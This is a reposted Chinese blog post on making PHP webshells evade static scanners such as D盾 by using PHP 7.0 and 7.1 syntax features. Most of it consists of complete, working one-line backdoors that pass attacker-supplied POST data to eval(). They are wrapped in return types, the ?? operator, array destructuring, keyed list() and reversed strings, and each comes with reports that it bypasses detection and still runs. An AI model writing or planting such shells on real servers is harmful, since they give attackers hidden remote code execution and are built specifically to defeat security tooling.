利用 PHP 新特性过静态查杀

栏目: IT技术 · 发布时间: 4年前

最近在研究 webshell 免杀,抽出心得的一个新颖的点。 原因是突然想到既然 php7.1 不能利用可变函数的assert,那就利用 php7 的新特性来绕过查杀正则,最终绕过某盾和“某d0g”。

实验环境在 7.1.9 ,所有马儿在 php 7以下的环境均不能使用。

D 盾规则库(最新): 20191227

某d0g因为可能会因为用其产品测试,导致侵权行为,为了防止被举报所以就不放图了。

前置实验

某盾

首先以下代码

<?php

$a='aaaa';

eval($a);

?

利用 PHP 新特性过静态查杀

直接误报了。

因此,直接传参到eval里面是不现实的。

所以接下来我们要 利用函数,配合php新特性 来绕过它。

某d0g

而对于某d0g,只要以下代码

$a=$_POST['b'];

eval($b)

就会让其误报。

因此在写免杀马的时候,post中的变量,不要出现在eval中的字符串中。就像上面`b`一样,尽管他在`eval`中是以变量的形式出现的。有了这个基础就可以进入正题了。

PHP7.0.x

[php手册-php7.0.x新特性]( https://www.php.net/manual/zh/migration70.new-features.php)

返回值类型申明

php7增加了返回值类型声明的支持,在定义函数时增加一个 `:类型`便可以了。

例如:

function a():int{

...

}

就是函数返回值类型要为int。否则会强制转换或者显示语法错误。

如果未更新此特性的查杀软件,就会不认识此函数,导致被绕过。

例如:

<?php

function b():string{

return $_POST['h3art3ars'];

}

eval(b());

?>

可以用查杀软件测试一下。

利用 PHP 新特性过静态查杀

发现没有被检测到。

利用 PHP 新特性过静态查杀

可以使用。

null合并运算符

由于日常使用中存在大量同时使用三元表达式和 `isset()`的情况, 添加了null合并运算符 (*??*) 这个语法糖。如果变量存在且值不为**`NULL`**, 它就会返回自身的值,否则返回它的第二个操作数

简单来说:

$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';

<=>

$a=$_POST['a']??'h3art3ars';

如果运用 `??`符号,查杀软件不会理解着个处理过程 ,可能就会导致绕过。

就像以下代码就可以绕过某d0g

<?php

$a=$b??$_POST['h3art3ars'];

eval($a);

?>

再利用函数调用一下

<?php

function a(){

$a=$b??$_POST['h3art3ars'];

return $a;

}

eval(a());

?>

利用 PHP 新特性过静态查杀

可以发现已经过了D盾

测试一下可用性

利用 PHP 新特性过静态查杀

接下来看看7.1的特性吧

php7.1.x

[php手册-php7.0.x新特性](  https://www.php.net/manual/zh/migration71.new-features.php  )

可为空(Nullable)类型

参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null 。

比7.1的特性多了个 `?`函数返回值若不是给定类型,则为空。

使用同样的代码:

<?php

function a(): ?string

{

return $_POST['h3art3ars'];

}

eval(a());

?>

不出意外

利用 PHP 新特性过静态查杀

过了D盾

短数组语法

短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。

这里选用中括号 `[]类型`的列表来演示。

$a=['a','b'];

[$c,$d]=$a;

这样,就把数组的值分别赋给了` $c`,`$d`.`$c='a';$d='b';`

这样,就可以用这个少用的特性,来绕过静态查杀

首先写一个最简单的:

<?php

$a=['h3art3ars',$_POST['h3art3ars']];

[$c,$d]=$a;

eval($d);

?>

然后就过了某d0g。自行测试。

之后就可以配合函数。就像这样:

<?php

function a(){

$a=['h3art3ars',$_POST['h3art3ars']];

[$c,$d]=$a;

return $d;

}

eval(a());

?>

查杀一下

利用 PHP 新特性过静态查杀

测试可用性

利用 PHP 新特性过静态查杀

list()现在支持键名

官方说明:现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量(与短数组语法类似)

这个很绕,看一下例子也许就会明白了。

eg:

$data = ["id" => 1, "name" => 'h3art3ars'];

["id" => $a, "name" => $b] = $data;

//结果$a=1,$b='h3art3ars'

稍微改改就能过某d0g(自行测试):

<?php

$a=[

"shell"=>'a',

"c"=>$_POST['h3art3ars'],

];

["shell"=>$c,"c"=>$b]=$a;

eval($b);

?>

试试D盾

利用 PHP 新特性过静态查杀

报了一级

再次借助自定义函数。

<?php

function a(){

$a=[

"shell"=>'a',

"c"=>$_POST['h3art3ars'],

];

["shell"=>$c,"c"=>$b]=$a;

return $b;

}

eval(a());

?>

利用 PHP 新特性过静态查杀

成功过D,测试可用性。

利用 PHP 新特性过静态查杀

支持为负的字符串偏移量

官方说明

现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量,包括通过[]或{}操作字符串下标。在这种情况下,一个负数的偏移量理解为一个从字符串结尾开始的偏移量。

这个在小于7.1版本中,负的偏移量返回空字串。

eg:

<?php

$a="h3art3ars";

var_dump($a[-1]);

?>

7.1.x中返回 `s`,但是以前的版本中 返回 ` string(0) "" `

思路 我们可以这个拆分字符串,使规则识别不出来。 最后再配合php的可变变量:

<?php

$a="TSOP_";

$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];

$c=${"$b"}['h3art3ars'];

eval($c);

?>

这样就可以过某d0g了。但是对于D盾来说,会识别拼接字符,和可变变量。报一级`可疑文件`,不得不说这点做的确实很好。

其实还有很多特性,就像`通过define()定义常量数组`,也都可以举一反三去绕过。而且不止自定义函数,还可以配合类,可变变量等,来绕过静态查杀。

还可以利用 `太空船操作符 (组合比较符 )`,`整数除法函数 intdiv()`等来绕过动态查杀。

这里给D哥的规则库又能添加几条了。哈哈

参考

htps:// www.php.net/m anual/zh/migration71.new-features.php

https://www.php.net/man ual/zh/migration70.new- features.php#migration70.new-features.return-type-declarations

利用 PHP 新特性过静态查杀


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

安全测试指南(第4版)

安全测试指南(第4版)

OWASP基金会 / 电子工业出版社 / 2016-7-1 / CNY 89.00

软件安全问题也许是这个时代面临的*为重要的技术挑战。Web应用程序让业务、社交等网络活动飞速发展,这同时也加剧了它们对软件安全的要求。我们急需建立一个强大的方法来编写和保护我们的互联网、Web应用程序和数据,并基于工程和科学的原则,用一致的、可重复的和定义的方法来测试软件安全问题。本书正是实现这个目标的重要一步,作为一本安全测试指南,详细讲解了Web应用测试的“4W1H”,即“什么是测试”、“为什......一起来看看 《安全测试指南(第4版)》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具